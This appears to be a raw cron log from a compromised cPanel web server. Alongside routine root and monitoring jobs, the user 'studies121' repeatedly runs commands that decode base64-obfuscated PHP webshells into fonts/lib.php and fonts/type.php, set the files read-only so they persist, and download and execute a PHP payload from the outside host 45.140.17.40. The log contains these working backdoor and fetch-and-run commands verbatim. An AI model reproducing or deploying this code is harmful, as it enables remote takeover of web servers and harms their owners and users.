Sep  9 06:23:01 ip-184-168-122-23 CROND[27741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:23:01 ip-184-168-122-23 CROND[27742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:24:01 ip-184-168-122-23 CROND[27866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:24:01 ip-184-168-122-23 CROND[27868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:24:01 ip-184-168-122-23 CROND[27869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:24:01 ip-184-168-122-23 CROND[27870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:24:01 ip-184-168-122-23 CROND[27871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:25:01 ip-184-168-122-23 CROND[28013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:25:01 ip-184-168-122-23 CROND[28015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:25:01 ip-184-168-122-23 CROND[28016]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 06:25:01 ip-184-168-122-23 CROND[28017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:25:01 ip-184-168-122-23 CROND[28018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:25:01 ip-184-168-122-23 CROND[28019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:25:01 ip-184-168-122-23 CROND[28020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:26:01 ip-184-168-122-23 CROND[28110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:26:01 ip-184-168-122-23 CROND[28112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:26:01 ip-184-168-122-23 CROND[28113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:26:01 ip-184-168-122-23 CROND[28115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:26:01 ip-184-168-122-23 CROND[28117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:27:01 ip-184-168-122-23 CROND[28224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:27:01 ip-184-168-122-23 CROND[28223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:27:01 ip-184-168-122-23 CROND[28225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:27:01 ip-184-168-122-23 CROND[28226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:28:01 ip-184-168-122-23 CROND[28328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:28:01 ip-184-168-122-23 CROND[28330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:28:01 ip-184-168-122-23 CROND[28332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:28:01 ip-184-168-122-23 CROND[28333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:28:01 ip-184-168-122-23 CROND[28331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:29:01 ip-184-168-122-23 CROND[28435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:29:01 ip-184-168-122-23 CROND[28436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:29:01 ip-184-168-122-23 CROND[28437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:29:01 ip-184-168-122-23 CROND[28438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:30:01 ip-184-168-122-23 CROND[28632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:30:01 ip-184-168-122-23 CROND[28633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:30:01 ip-184-168-122-23 CROND[28634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:30:01 ip-184-168-122-23 CROND[28638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:30:01 ip-184-168-122-23 CROND[28635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:30:01 ip-184-168-122-23 CROND[28636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:30:01 ip-184-168-122-23 CROND[28639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:30:01 ip-184-168-122-23 CROND[28641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:31:01 ip-184-168-122-23 CROND[28773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:31:01 ip-184-168-122-23 CROND[28772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:31:01 ip-184-168-122-23 CROND[28774]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:31:01 ip-184-168-122-23 CROND[28776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:31:01 ip-184-168-122-23 CROND[28775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:32:01 ip-184-168-122-23 CROND[28908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:32:02 ip-184-168-122-23 CROND[28913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:32:02 ip-184-168-122-23 CROND[28910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:32:02 ip-184-168-122-23 CROND[28912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:32:02 ip-184-168-122-23 CROND[28911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:33:01 ip-184-168-122-23 CROND[29019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:33:01 ip-184-168-122-23 CROND[29021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:33:01 ip-184-168-122-23 CROND[29023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:33:01 ip-184-168-122-23 CROND[29025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:34:01 ip-184-168-122-23 CROND[29113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:34:01 ip-184-168-122-23 CROND[29115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:34:01 ip-184-168-122-23 CROND[29118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:34:01 ip-184-168-122-23 CROND[29120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:34:01 ip-184-168-122-23 CROND[29121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:35:01 ip-184-168-122-23 CROND[29232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:35:01 ip-184-168-122-23 CROND[29234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:35:01 ip-184-168-122-23 CROND[29235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
